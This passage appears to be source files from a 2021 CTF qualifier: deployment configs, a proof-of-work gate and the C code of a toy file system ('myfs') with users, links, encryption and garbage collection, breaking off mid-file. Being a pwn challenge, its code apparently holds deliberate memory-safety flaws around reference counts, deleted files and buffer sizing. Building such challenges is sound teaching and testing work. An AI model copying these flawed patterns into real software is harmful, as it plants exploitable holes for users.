    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    puts("[*] Flag is in the /home/fullchain-buff/flag");
    chal();
}

================================================
FILE: 2021/quals/fullchain-buff/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/fullchain-buff/fullchain-buff

================================================
FILE: 2021/quals/fullchain-buff/xinetd
================================================
service fullchain-buff
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/fullchain-buff/run.sh
    user = fullchain-buff
    port = 30205
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/quals/myfs/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd libssl-dev

RUN useradd -m myfs
RUN chown -R myfs:myfs /home/myfs
RUN chmod -R 755 /home/myfs
COPY share /home/myfs/

RUN chown myfs:myfs /home/myfs/flag1.txt
RUN chown myfs:myfs /home/myfs/flag2.txt
USER myfs

CMD ["/home/myfs/run.sh"]

================================================
FILE: 2021/quals/myfs/build.sh
================================================
#!/bin/bash
docker build -t myfs_myfs .

================================================
FILE: 2021/quals/myfs/pow.py
================================================
#!/usr/bin/env python3
import secrets
import hashlib
import subprocess

##
# https://github.com/balsn/proof-of-work/blob/master/nc_powser.py
##
class NcPowser:
    def __init__(self, difficulty=10, prefix_length=16): 
        self.difficulty = difficulty
        self.prefix_length = prefix_length

    def get_challenge(self):
        return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a')

    def verify_hash(self, prefix, answer):
        h = hashlib.sha256()
        h.update((prefix + answer).encode())
        bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
        return bits.startswith('0' * self.difficulty)

def main():
    powser = NcPowser()
    prefix = powser.get_challenge()
    print(f'''
sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})...
''')

    ans = input('POW answer: ')
    if not powser.verify_hash(prefix, ans):
        print('Not correct!')
        return

    print('Passed!')

    # you code here
    import os
    os.system('docker run -i --rm myfs_myfs')

if __name__ == '__main__':
    main()



================================================
FILE: 2021/quals/myfs/run.sh
================================================
#!/bin/bash

python3 /home/admin/quals/myfs/pow.py

================================================
FILE: 2021/quals/myfs/setup.sh
================================================
#!/bin/bash

set -e

sudo apt install xinetd
sudo cp xinetd /etc/xinetd.d/myfs
/usr/sbin/xinetd -dontfork &

================================================
FILE: 2021/quals/myfs/share/Makefile
================================================
all:
	gcc -o myfs main.c fs.c gc.c user.c mycrypto.c -lcrypto


================================================
FILE: 2021/quals/myfs/share/flag1.txt
================================================
FLAG{TEST}

================================================
FILE: 2021/quals/myfs/share/flag2.txt
================================================
FLAG{TEST}

================================================
FILE: 2021/quals/myfs/share/flag3.txt
================================================
FLAG{TEST}

================================================
FILE: 2021/quals/myfs/share/fs.c
================================================
#include "fs.h"
#include "list.h"
#include "gc.h"
#include "mycrypto.h"
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

list_head rootfs = { .next = NULL };
extern unsigned char key[17];

MyFile *__new_mf()
{
    MyFile *mf = (MyFile *) malloc(sizeof(MyFile));
    mf->fid = mf_cnt++;
    mf->uid = 0;
    mf->refcnt = 1;
    mf->size = 0;
    mf->metadata = 0;
    mf->data.ino = NULL;
    mf->dir_hd.next = NULL;
    mf->next_file.next = NULL;
    return mf;
}

MyFile *_new_normfile(uint8_t uid, char *fn)
{
    MyFile *mf = __new_mf();
    mf->uid = uid;
    mf->fn = strdup(fn);
    mf->data.ino = (iNode *) malloc(sizeof(iNode));
    mf->data.ino->refcnt = 1;
    return mf;
}

MyFile *_new_dir(uint8_t uid, char *fn)
{
    MyFile *mf = _new_normfile(uid, fn);
    mf->metadata |= MF_META_TYPE_IS_DIR;
    return mf;
}

MyFile *_new_slink(uint8_t uid, MyFile *link, char *fn)
{
    MyFile *mf = __new_mf();
    mf->uid = uid;
    mf->data.link = link;
    mf->metadata |= MF_META_TYPE_IS_SLINK;
    mf->fn = strdup(fn);

    link->refcnt++;
    return mf;
}

MyFile *_new_hlink(uint8_t uid, MyFile *link, char *fn)
{
    MyFile *mf = __new_mf();
    mf->uid = uid;
    mf->data.ino = link->data.ino;
    mf->size = link->size;
    mf->metadata |= (MF_META_TYPE_IS_HLINK | link->metadata);
    mf->fn = strdup(fn);

    link->data.ino->refcnt++;
    return mf;
}

MyFile* _get_mf_by_fname(MyFile *dir, char *fn)
{
    MyFile *curr_mf = NULL;
    list_head *curr = dir->dir_hd.next;
    
    while (curr) {
        curr_mf = container_of(curr, MyFile, next_file);
        if (!strcmp(curr_mf->fn, fn))
            return curr_mf;
        curr = curr->next;
    }
    return NULL;
}

MyFile* get_mf_by_fname(MyUser *mu, char *fn)
{
    return _get_mf_by_fname(mu->curr_dir, fn);
}

int create_mf(MyUser *mu, char *type, char *fn)
{
    MyFile *mf = NULL;

    if (mu->curr_dir->uid != mu->uid &&
        !mf_is_writable(mu->curr_dir))
        return -1;

    if (!strcmp(type, "dir"))
        mf = _new_dir(mu->uid, fn);
    else if (!strcmp(type, "normfile"))
        mf = _new_normfile(mu->uid, fn);
    else
        return -1;
    
    list_add(&mu->curr_dir->dir_hd, &mf->next_file);
    mu->curr_dir->size++;
    return 0;
}

void show_fileinfo(MyUser *mu, MyFile *mf, uint8_t all_name)
{
    const char *prot = NULL;
    const char *uname = NULL;
    const char *type = NULL;

    if (mf_is_slink(mf))
        type = "s";
    else if (mf_is_normfile(mf))
        type = "-";
    else if (mf_is_dir(mf))
        type = "d";
    else
        return;

    if (mf_is_readable(mf) && mf_is_writable(mf))
        prot = "rw";
    else if (mf_is_readable(mf))
        prot = "r-";
    else if (mf_is_writable(mf))
        prot = "-w";
    else
        prot = "--";

    uname = get_uname_by_uid(mf->uid);
    if (uname == NULL)
        return;

    if (all_name) {
        printf("%srw----%s- %-32s%8u %s\n", type, prot, uname, mf->size, mf->fn);
    } else {
        char buf[0x20] = {0};
        memset(buf, '.', 0x1f);
        if (strlen(mf->fn) >= 0x1f)
            memcpy(buf, mf->fn, 0x1c);
        else
            strcpy(buf, mf->fn);
        
        printf("%srw----%s- %-32s%8u %-32s\n", type, prot, uname, mf->size, buf);
    }
}

int delete_mf(GC *gc, MyUser *mu, MyFile *mf)
{
    /**
     * if there are some files in the directory,
     * we cannot delete the directory
     */
    if (mf_is_dir(mf) && mf->size > 0)
        return -1;
    
    /**
     * even though file is removed from current directory,
     * it is maybe softlinked by other file
     */
    list_delete(&mu->curr_dir->dir_hd, &mf->next_file);
    mu->curr_dir->size--;
    
    mf->fid = -1;
    mf->refcnt--;
    
    // we use gc as we can
    if (gc)
        return gc->gc_list_add(gc, &mf->next_file);
    return _release_mf(mf);
}

int enter_dir(MyUser *mu, MyFile *mf)
{
    while (mf && mf_is_slink(mf))
        mf = mf->data.link;

    if (!mf || mf_is_deleted(mf) || !mf_is_dir(mf))
        return -1;

    if (mf->uid != mu->uid && !mf_is_readable(mf))
        return -1;

    if (mf == mu->dir_stack[mu->dir_deep - 2]) {
        // cd ..
        mu->dir_stack[mu->dir_deep - 1] = NULL;
        mu->dir_deep--;
    } else {
        if (mu->dir_deep == MU_DIR_MAX_DEEP)
            return -1;
        mu->dir_deep++;
        mu->dir_stack[mu->dir_deep - 1] = mf;
    }
    mu->curr_dir = mf;
    return 0;
}

int goto_rootfs(MyUser *mu)
{
    for (; mu->dir_deep != 1; mu->dir_deep--)
        mu->dir_stack[mu->dir_deep - 1] = NULL;

    mu->curr_dir = mu->dir_stack[0];
    return 0;
}

int enc_mf(MyUser *mu, MyFile *mf)
{
    while (mf && mf_is_slink(mf))
        mf = mf->data.link;

    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf) ||
        mf_is_enc(mf) || mf->data.ino->content == NULL)
        return -1;

    if (mf->uid != mu->uid && !mf_is_readable(mf))
        return -1;

    if (my_encrypt(mf->data.ino->content, &mf->size) == -1)
        return -1;
    mf->metadata |= MF_META_ENCED;

    return 0;
}

int dec_mf(MyUser *mu, MyFile *mf)
{
    while (mf && mf_is_slink(mf))
        mf = mf->data.link;

    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf) ||
        !mf_is_enc(mf) || mf->data.ino->content == NULL)
        return -1;

    if (mf->uid != mu->uid && !mf_is_readable(mf))
        return -1;

    if (my_decrypt(mf->data.ino->content, &mf->size) == -1)
        return -1;
    mf->metadata &= ~MF_META_ENCED;

    return 0;
}

int read_mf(MyUser *mu, MyFile *mf)
{
    while (mf && mf_is_slink(mf))
        mf = mf->data.link;

    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf))
        return -1;

    if (mf->uid != mu->uid && !mf_is_readable(mf))
        return -1;
    
    char buf[MF_SIZE_MAX];
    int nr;

    if (mf_is_enc(mf))
        return read(STDIN_FILENO, mf->data.ino->content, mf->size);

    nr = read(STDIN_FILENO, buf, MF_SIZE_MAX);
    if (nr == -1)
        return -1;

    uint16_t tmp = mf->size % 0x10;
    int16_t chk_min = tmp >= 0x9 ? (mf->size - tmp + 0x9) : (mf->size - tmp - 0x7);
    int16_t chk_max = chk_min + 0xf;
    
    if (!mf->size || chk_min < 0 || chk_max < 0 || chk_min > nr || chk_max < nr)
        mf->data.ino->content = realloc(mf->data.ino->content, nr + 0x10);
        
    mf->size = nr;
    memcpy(mf->data.ino->content, buf, mf->size);
    return nr;
}

ssize_t write_mf(MyUser *ms, MyFile *mf)
{
    while (mf && mf_is_slink(mf))
        mf = mf->data.link;

    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf))
        return -1;

    if (mf_is_enc(mf))
        return hexdump(mf->data.ino->content, AES_BLOCK_SIZE);
    
    if (mf->uid != ms->uid && !mf_is_writable(mf))
        return -1;

    return write(STDOUT_FILENO, mf->data.ino->content, mf->size);
}

int set_mf_prot(MyUser *ms, MyFile *mf, char *prot)
{
    while (mf && mf_is_slink(mf))
        mf = mf->data.link;

    if (!mf || mf_is_deleted(mf))
        return -1;
        
    if (mf->uid != ms->uid && !mf_is_writable(mf))
        return -1;

    if (!strcmp(prot, "read"))
        mf->metadata |= MF_META_PROT_READ;
    else if (!strcmp(prot, "write"))
        mf->metadata |= MF_META_PROT_WRITE;
    else if (!strcmp(prot, "read,write"))
        mf->metadata |= (MF_META_PROT_WRITE | MF_META_PROT_READ);
    
    return 0;
}

int unset_mf_prot(MyUser *ms, MyFile *mf, char *prot)
{
    while (mf && mf_is_slink(mf))
        mf = mf->data.link;

    if (!mf || mf_is_deleted(mf))
        return -1;

    if (mf->uid != ms->uid && !mf_is_writable(mf))
        return -1;

    if (!strcmp(prot, "read"))
        mf->metadata &= ~MF_META_PROT_READ;
    else if (!strcmp(prot, "write"))
        mf->metadata &= ~MF_META_PROT_WRITE;
    else if (!strcmp(prot, "read,write"))
        mf->metadata &= ~(MF_META_PROT_WRITE | MF_META_PROT_READ);

    return 0;
}

void list_dir(MyUser *mu)
{
    MyFile *curr_mf = NULL;
    list_head *curr = mu->curr_dir->dir_hd.next;

    printf("total %u\n", mu->curr_dir->size);
    while (curr) {
        curr_mf = container_of(curr, MyFile, next_file);
        show_fileinfo(mu, curr_mf, 0);
        curr = curr->next;
    }
}

void softlink_setsrc(MyUser *mu, MyFile *mf)
{
    mu->softlink = mf;
}

int softlink_setdst(MyUser *mu, char *fn)
{
    if (!mu->softlink)
        return -1;

    // we hope a file not to link file of higher layer
    if (!is_desc(mu->curr_dir, mu->softlink))
        return -1;
    
    MyFile *mf = _new_slink(mu->uid, mu->softlink, fn);
    list_add(&mu->curr_dir->dir_hd, &mf->next_file);
    mu->curr_dir->size++;
    mu->softlink = NULL;
    return 0;
}

void hardlink_setsrc(MyUser *mu, MyFile *mf)
{
    mu->hardlink = mf;
}

int hardlink_setdst(MyUser *mu, char *fn)
{
    if (!mu->hardlink)
        return -1;

    // we hope a file not to link file of higher layer
    if (!is_desc(mu->curr_dir, mu->hardlink))
        return -1;

    // sorry we don't support other types currently
    if (!mf_is_normfile(mu->hardlink))
        return -1;
    
    MyFile *mf = _new_hlink(mu->uid, mu->hardlink, fn);
    list_add(&mu->curr_dir->dir_hd, &mf->next_file);
    mu->curr_dir->size++;
    mu->hardlink = NULL;
    return 0;
}

int mf_gc_list_add(GC *gc, list_head *hd)
{
    list_add(&gc->next_g, hd);

    if (++gc->delcnt % 0x10)
        return 0;

    // if there are 16 deleted files, sweep them
    MyFile *curr_mf = NULL;
    list_head *curr = gc->next_g.next, *next = NULL;

    while (curr) {
        next = curr->next;
        curr_mf = container_of(curr, MyFile, next_file);
        if (_release_mf(curr_mf) == -1)
            return -1;
        curr = next;
    }
    return 0;
}

int _release_mf(MyFile *mf)
{
    /**
     * if there is a softlink linked to file being deleted at least,
     * we just do nothing, waiting for softlink checking to release it
     */
    MyFile *root = container_of(rootfs.next, MyFile, next_file);
    if (mf->refcnt)
        return 0;

    if (mf_is_hlink(mf))
        if (--mf->data.ino->refcnt != 0)
            goto ret;
    
    if (mf_is_normfile(mf)) {
        free(mf->data.ino->content);
        free(mf->data.ino);
    } else if (mf_is_dir(mf)) {
        free(mf->data.ino);
    } else if (mf_is_slink(mf)) {
        // try to release softlink target
        _release_mf(mf->data.link);
    } else {
        return -1;
    }

ret:
    free(mf->fn);
    free(mf);
    return 0;
}

int is_desc(MyFile *curr_mf, MyFile *target)
{
    list_head *curr = curr_mf->dir_hd.next;
    while (curr) {
        curr_mf = container_of(curr, MyFile, next_file);
        
        if (target == curr_mf)
            return 1;
        
        if (mf_is_dir(curr_mf) && is_desc(curr_mf, target))
            return 1;

        curr = curr->next;
    }

    return 0;
}

int is_ref_by_other(MyFile *dir, MyFile *target)
{
    MyFile *curr_mf = NULL;
    list_head *curr = dir->dir_hd.next;

    while (curr) {
        curr_mf = container_of(curr, MyFile, next_file);
        if (mf_is_slink(curr_mf) && target == curr_mf->data.link) {
            return 1;
        } else if (mf_is_dir(curr_mf) && is_ref_by_other(curr_mf, target)) {
            return 1;
        }
        curr = curr->next;
    }

    return 0;
}

int is_existed(MyFile **mf, MyFile *curr_dir, char *fn)
{
    if ((*mf = _get_mf_by_fname(curr_dir, fn)) != NULL)
        return 1;
    return 0;
}

================================================
FILE: 2021/quals/myfs/share/fs.h
================================================
#ifndef _FS_H_
#define _FS_H_

#include "list.h"
#include "gc.h"
#include <stdint.h>
#include <sys/types.h>

#define MF_SIZE_INIT 0x100
#define MF_SIZE_MAX  0x1000
#define MF_META_PROT_READ     0b00000001
#define MF_META_PROT_WRITE    0b00000010
#define MF_META_ENCED         0b00000100
#define MF_META_TYPE_IS_DIR   0b00001000
#define MF_META_TYPE_IS_SLINK 0b00010000
#define MF_META_TYPE_IS_HLINK 0b00100000

static int8_t mf_cnt = 0;

typedef struct iNode
{
    char *content;
    uint8_t refcnt;
} iNode;

typedef struct _MyFile
{
    int8_t fid;
    uint8_t uid;
    uint8_t refcnt;
    uint8_t metadata;
    uint16_t size;
    
    char *fn;
    union
    {
        iNode *ino;
        struct _MyFile *link;
    } data;
    
    list_head dir_hd;
    list_head next_file;
} MyFile;

static inline int mf_is_readable(MyFile *mf)
{
    return (mf->metadata & MF_META_PROT_READ) != 0;
}

static inline int mf_is_writable(MyFile *mf)
{
    return (mf->metadata & MF_META_PROT_WRITE) != 0;
}

static inline int mf_is_deleted(MyFile *mf)
{
    return mf->fid == -1;
}

static inline int mf_is_enc(MyFile *mf)
{
    return (mf->metadata & MF_META_ENCED) != 0;
}

static inline int mf_is_dir(MyFile *mf)
{
    return (mf->metadata & MF_META_TYPE_IS_DIR) != 0;
}

static inline int mf_is_slink(MyFile *mf)
{
    return (mf->metadata & MF_META_TYPE_IS_SLINK) != 0;
}

static inline int mf_is_hlink(MyFile *mf)
{
    return (mf->metadata & MF_META_TYPE_IS_HLINK) != 0;
}

static inline int mf_is_normfile(MyFile *mf)
{
    return ((mf->metadata & MF_META_TYPE_IS_SLINK) |
            (mf->metadata & MF_META_TYPE_IS_HLINK) |
            (mf->metadata & MF_META_TYPE_IS_DIR)) == 0;
}

MyFile *__new_mf();

MyFile *_new_normfile(uint8_t uid, char *fn);
MyFile *_new_dir(uint8_t uid, char *fn);
MyFile *_new_slink(uint8_t uid, MyFile *link, char *fn);
MyFile *_new_hlink(uint8_t uid, MyFile *link, char *fn);
MyFile *_get_mf_by_fname(MyFile *hd, char *fn);

int _release_mf();

int is_desc(MyFile *curr_mf, MyFile *target);
int is_existed(MyFile **mf, MyFile *curr_dir, char *fn);
int is_ref_by_other(MyFile *_root, MyFile *target);

int mf_gc_list_add(GC *gc, list_head *hd);


#include "user.h"
MyFile *get_mf_by_fname(MyUser *mu, char *fn);
/**
 * create_mf(): create file 
 * > create dir <file_name>
 * > create normfile <file_name>
 */
int create_mf(MyUser *mu, char *type, char *fn);

/**
 * delete_mf(): delete file
 * > rm <file_name>
 */
int delete_mf(GC *gc, MyUser *mu, MyFile *mf);

/**
 * enter_dir(): enter a directory
 * > cd <file_name>
 */
int enter_dir(MyUser *mu, MyFile *mf);
int goto_rootfs(MyUser *mu);

/**
 * read_mf(): read data from stdin and write to file
 * > read <file_name>
 */
int read_mf(MyUser *mu, MyFile *mf);

/**
 * write_mf(): write file content to stdout
 * > write <file_name>
 */
ssize_t write_mf(MyUser *mu, MyFile *mf);

/**
 * enc_mf(): encrypt file
 * > enc <file_name>
 */
int enc_mf(MyUser *mu, MyFile *mf);

/**
 * dec_mf(): decrypt file
 * > dec <file_name>
 */
int dec_mf(MyUser *mu, MyFile *mf);

/**
 * set_mf_prot(): set the prot of file
 * > set <file_name> <prot>
 */
int set_mf_prot(MyUser *ms, MyFile *mf, char *prot);

/**
 * unset_mf_prot(): unset the prot of file
 * > unset <file_name> <prot>
 */
int unset_mf_prot(MyUser *ms, MyFile *mf, char *prot);

/**
 * show_fileinfo(): show the information of file
 * > info <file_name>
 */
void show_fileinfo(MyUser *mu, MyFile *mf, uint8_t all_name);

/**
 * list_file(): list files in the current directory
 * > ls
 */
void list_dir(MyUser *mu);

/**
 * softlink_setsrc(): set the source file of softlink
 * > slss <file_name>
 */
void softlink_setsrc(MyUser *mu, MyFile *mf);

/**
 * softlink_setdst(): set the destination file of softlink
 * > slsd <file_name>
 */
int softlink_setdst(MyUser *mu, char *fn);

/**
 * hardlink_setsrc(): set the source file of hardlink
 * > hlss <file_name>
 */
void hardlink_setsrc(MyUser *mu, MyFile *mf);

/**
 * hardlink_setdst(): set the destination file of hardlink
 * > hlsd <file_name>
 */
int hardlink_setdst(MyUser *mu, char *fn);

#endif

================================================
FILE: 2021/quals/myfs/share/gc.c
================================================
#include "gc.h"
#include <stdlib.h>

GC *new_gc()
{
    GC *gc = (GC *) malloc(sizeof(GC));
    gc->delcnt = 0;
    gc->gc_list_add = NULL;
    gc->next_g.next = NULL;
    return gc;
}

================================================
FILE: 2021/quals/myfs/share/gc.h
================================================
#ifndef _GC_H_
#define _GC_H_

#include "list.h"
#include <stdint.h>

typedef struct _GC {
    uint32_t delcnt;
    int (*gc_list_add)(struct _GC*, list_head*);
    list_head next_g;
} GC;

GC *new_gc();

#endif

================================================
FILE: 2021/quals/myfs/share/list.h
================================================
#ifndef _LIST_H_
#define _LIST_H_

#include <stdio.h>

#define offsetof(type, member) ((size_t) &((type*)0)->member)
#define container_of(ptr, type, member) ({                    \
        const typeof(((type *)0)->member) *__mptr = (ptr);   \
        (type *)((char *)__mptr - offsetof(type, member)); })

typedef struct list_head {
    struct list_head *next;
} list_head;

static inline void list_add(list_head *hd, list_head *node)
{
    node->next = hd->next;
    hd->next = node;
}

static inline void list_delete(list_head *hd, list_head *node)
{
    while (hd->next && hd->next != node)
        hd = hd->next;
    hd->next = node->next;
}

#endif

================================================
FILE: 2021/quals/myfs/share/main.c
================================================
#include "fs.h"
#include "user.h"
#include "gc.h"
#include "list.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

GC *gc;
extern list_head rootfs;

#define ENDL "\n"
static void banner()
{
    printf(
        " _|      _|            _|_|_|_|    _|_|_|  " ENDL
        " _|_|  _|_|  _|    _|  _|        _|        " ENDL
        " _|  _|  _|  _|    _|  _|_|_|      _|_|    " ENDL
        " _|      _|  _|    _|  _|              _|  " ENDL
        " _|      _|    _|_|_|  _|        _|_|_|    " ENDL
        "                   _|                      " ENDL
        "               _|_|                        " ENDL
        "                                  beta ver." ENDL
    );
}

static void usage()
{
    printf(
        "[add new user]" ENDL
        "   useradd <username> <password>" ENDL
        "[delete new user]" ENDL
        "   userdel <username> <password>" ENDL
        "[login]" ENDL
        "   login <username> <password>" ENDL
        "[create]" ENDL
        "   create dir <file_name>" ENDL
        "   create normfile <file_name>" ENDL
        "[delete]" ENDL
        "   rm <file_name>" ENDL
        "[enter dir]" ENDL
        "   cd <file_name>" ENDL
        "[read]" ENDL
        "   read <file_name>" ENDL
        "[write]" ENDL
        "   write <file_name>" ENDL
        "[encrypt]" ENDL
        "   enc <file_name>" ENDL
        "[decrypt]" ENDL
        "   dec <file_name>" ENDL
        "[set permission]" ENDL
        "   set <file_name> <prot>" ENDL
        "[unset permission]" ENDL
        "   unset <file_name> <prot>" ENDL
        "[list files]" ENDL
        "   ls" ENDL
        "[show info of file]" ENDL
        "   info <file_name>" ENDL
        "[set softlink source]" ENDL
        "   slss <file_name>" ENDL
        "[set softlink destination]" ENDL
        "   slsd <file_name>" ENDL
        "[set hardlink source]" ENDL
        "   hlss <file_name>" ENDL
        "[set hardlink destination]" ENDL
        "   hlsd <file_name>" ENDL
    );
}

void pexit(const char *msg)
{
    perror(msg);
    exit(1);
}

int mock()
{
    MyFile *tmp_mf = NULL, *tmp_dir = NULL;
    MyFile *rootfs_mf = container_of(rootfs.next, MyFile, next_file);
    MyUser *root = new_mu("root", "root", rootfs_mf);
    int pipefd[2];
    int old_stdin, old_stdout;

    old_stdin = dup(STDIN_FILENO);
    old_stdout = dup(STDOUT_FILENO);
    pipe(pipefd);
    dup2(pipefd[0], STDIN_FILENO);
    dup2(pipefd[1], STDOUT_FILENO);
    close(pipefd[0]);
    close(pipefd[1]);

    // set rootfs as readable and writable
    set_mf_prot(root, rootfs_mf, "read,write");

    // Test 1. create directory and normal file
    if (create_mf(root, "dir", "test_dir_L1") == -1)
        return -1;
    if (create_mf(root, "normfile", "test_file_L1") == -1)
        return -1;
    
    // Test 2. update file and directory permission
    tmp_mf = get_mf_by_fname(root, "test_file_L1");
    if (set_mf_prot(root, tmp_mf, "read") == -1)
        return -1;
    tmp_dir = get_mf_by_fname(root, "test_dir_L1");
    if (set_mf_prot(root, tmp_dir, "read,write") == -1)
        return -1;

    // Test 3. change directory and create some files
    if (enter_dir(root, tmp_dir) == -1)
        return -1;
    if (create_mf(root, "dir", "test_dir_L2") == -1)
        return -1;
    if (create_mf(root, "normfile", "test_file_L2") == -1)
        return -1;
    if (create_mf(root, "normfile", "test_file2_L2") == -1)
        return -1;
    
    // Test 4. read and write file
    char buf[0x20] = {0};
    char buf2[0x20] = {0};
    int flag1_fd = open("/home/myfs/flag1.txt", O_RDONLY);
    int flag_len;
    
    if (flag1_fd == -1)
        return -1;
    read(flag1_fd, buf, 0x10);
    close(flag1_fd);


    if ((flag_len = strlen(buf)) >= 0x10)
        return -1;
    
    tmp_mf = get_mf_by_fname(root, "test_file2_L2");
    write(STDOUT_FILENO, buf, flag_len);
    if (read_mf(root, tmp_mf) == -1)
        return -1;
    if (write_mf(root, tmp_mf) == -1)
        return -1;
    read(STDIN_FILENO, buf2, flag_len);
    if (strcmp(buf, buf2))
        return -1;
    unlink("/home/myfs/flag1.txt");
    
    // Test 5. encrypt and decrypt file
    if (enc_mf(root, tmp_mf) == -1)
        return -1;
    if (dec_mf(root, tmp_mf) == -1)
        return -1;
    if (write_mf(root, tmp_mf) == -1)
        return -1;
    read(STDIN_FILENO, buf2, flag_len);
    if (strcmp(buf, buf2))
        return -1;

    // Test 6. test softlink
    softlink_setsrc(root, tmp_mf);

    tmp_dir = get_mf_by_fname(root, "test_dir_L2");
    if (enter_dir(root, tmp_dir) == -1)
        return -1;
    if (softlink_setdst(root, "sl_will_fail") != -1)
        return -1;

    goto_rootfs(root);
    if (softlink_setdst(root, "sl_will_ok") == -1)
        return -1;
    tmp_mf = get_mf_by_fname(root, "sl_will_ok");
    if (delete_mf(gc, root, tmp_mf) == -1)
        return -1;
    
    // Test 7. test hardlink
    tmp_dir = get_mf_by_fname(root, "test_dir_L1");
    if (enter_dir(root, tmp_dir) == -1)
        return -1;

    tmp_mf = get_mf_by_fname(root, "test_file2_L2");
    hardlink_setsrc(root, tmp_mf);

    tmp_dir = get_mf_by_fname(root, "test_dir_L2");

    if (enter_dir(root, tmp_dir) == -1)
        return -1;
    if (hardlink_setdst(root, "hl_will_fail") != -1)
        return -1;

    goto_rootfs(root);
    if (hardlink_setdst(root, "hl_will_ok") == -1)
        return -1;
    tmp_mf = get_mf_by_fname(root, "hl_will_ok");
    if (delete_mf(gc, root, tmp_mf) == -1)
        return -1;

    // Test 8. create and delete user
    MyUser *_new_mu = new_mu("test", "test", rootfs_mf);
    if (delete_mu("root", "root", root) != -1)
        return -1;
    if (delete_mu("root", "root", _new_mu) == -1)
        return -1;

    memset(buf, 0, 0x10);
    int flag2_fd = open("/home/myfs/flag2.txt", O_RDONLY);
    if (flag2_fd == -1)
        return -1;
    read(flag2_fd, buf, 0x10);
    close(flag2_fd);

    if ((flag_len = strlen(buf)) >= 0x10)
        return -1;

    tmp_mf = get_mf_by_fname(root, "test_file_L1");
    write(STDOUT_FILENO, buf, flag_len);
    if (read_mf(root, tmp_mf) == -1)
        return -1;
    if (enc_mf(root, tmp_mf) == -1)
        return -1;
    unlink("/home/myfs/flag2.txt");

    // restore environment
    dup2(old_stdin, STDIN_FILENO);
    dup2(old_stdout, STDOUT_FILENO);
    close(old_stdin);
    close(old_stdout);

    return 0;
}

void init_proc()
{
    // init garbage collector
    gc = new_gc();
    gc->gc_list_add = mf_gc_list_add;

    // init filesystem
    MyFile *_rootfs_mf = _new_dir(0, "");
    rootfs.next = &_rootfs_mf->next_file;
}

int main()
{
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    init_proc();
    banner();

    if (mock())
        pexit("[-] server error");

#define DELIM " "
#define CMD_LEN 0x80
    
    char cmd[CMD_LEN];
    char *argv0 = NULL, *argv1 = NULL, *argv2 = NULL;
    MyFile *_rootfs_mf = container_of(rootfs.next, MyFile, next_file);
    MyFile *mf = NULL;
    MyUser *mu = new_mu("user1", "1234", _rootfs_mf);


    if (mu == NULL)
        pexit("[-] create user error");

    while (1)
    {
        for (int i = 0; i < mu->dir_deep; i++)
            printf("%s/", mu->dir_stack[i]->fn);
        printf("> ");

        if (fgets(cmd, CMD_LEN, stdin) == NULL)
            pexit("[-] read command error");
        if (cmd[strlen(cmd) - 1] == '\n')
            cmd[strlen(cmd) - 1] = '\0';
        
        mf = NULL;
        argv0 = strtok(cmd, DELIM);
        argv1 = (argv0 != NULL) ? strtok(NULL, DELIM) : NULL;
        argv2 = (argv1 != NULL) ? strtok(NULL, DELIM) : NULL;

        if (!argv0)
            continue;

        if (!strcmp(argv0, "ls")) {
            list_dir(mu);
        } else if (!strcmp(argv0, "create")) {
            if (!argv1 || !argv2 || 
                is_existed(&mf, mu->curr_dir, argv2) ||
                create_mf(mu, argv1, argv2) == -1)
                puts("[-] create file error");
        } else if (argv1 && argv2 && !strcmp(argv0, "useradd")) {
            if (new_mu(argv1, argv2, _rootfs_mf) == NULL)
                puts("[-] change user error");
        } else if (argv1 && argv2 && !strcmp(argv0, "userdel")) {
            if (delete_mu(argv1, argv2, mu) == -1)
                puts("[-] change user error");
        } else if (argv1 && argv2 && !strcmp(argv0, "login")) {
            MyUser *tmp_mu = login_mu(argv1, argv2);
            if (tmp_mu == NULL)
                puts("[-] change user error");
            else
                mu = tmp_mu;
        } else {
            if (argv1 && !strcmp(argv1, "..")) {
                if (mu->dir_deep == 1) {
                    puts("[-] at root directory");
                    continue;
                }
                mf = mu->dir_stack[mu->dir_deep - 2];
            }

            if (!mf && argv1)
                is_existed(&mf, mu->curr_dir, argv1);

            if (mf && !strcmp(argv0, "rm")) {
                if (delete_mf(gc, mu, mf) == -1)
                    puts("[-] delete file error");
            } else if ((mf || (argv1 && !strcmp(argv1, ".."))) &&
                        !strcmp(argv0, "cd")) {
                if (enter_dir(mu, mf) == -1)
                    puts("[-] enter directory error");
            } else if (mf && !strcmp(argv0, "read")) {
                if (read_mf(mu, mf) == -1)
                    puts("[-] read file error");
            } else if (mf && !strcmp(argv0, "write")) {
                if (write_mf(mu, mf) == -1)
                    puts("[-] write file error");
            } else if (mf && !strcmp(argv0, "info")) {
                show_fileinfo(mu, mf, 1);
            } else if (mf && !strcmp(argv0, "enc")) {
                if (enc_mf(mu, mf) == -1)
                    puts("[-] encrypt file error");
            } else if (mf && !strcmp(argv0, "dec")) {
                if (dec_mf(mu, mf) == -1)
                    puts("[-] decrypt file error");
            } else if (mf && !strcmp(argv0, "set")) {
                if (!argv2 || set_mf_prot(mu, mf, argv2) == -1)
                    puts("[-] set permission error");
            } else if (mf && !strcmp(argv0, "unset")) {
                if (!argv2 || unset_mf_prot(mu, mf, argv2) == -1)
                    puts("[-] unset permission error");
            } else if (mf && !strcmp(argv0, "slss")) {
                softlink_setsrc(mu, mf);
            } else if (!strcmp(argv0, "slsd")) {
                if (mf || !argv1 || softlink_setdst(mu, argv1) == -1)
                    puts("[-] softlink error");
            } else if (mf && !strcmp(argv0, "hlss")) {
                hardlink_setsrc(mu, mf);
            } else if (!strcmp(argv0, "hlsd")) {
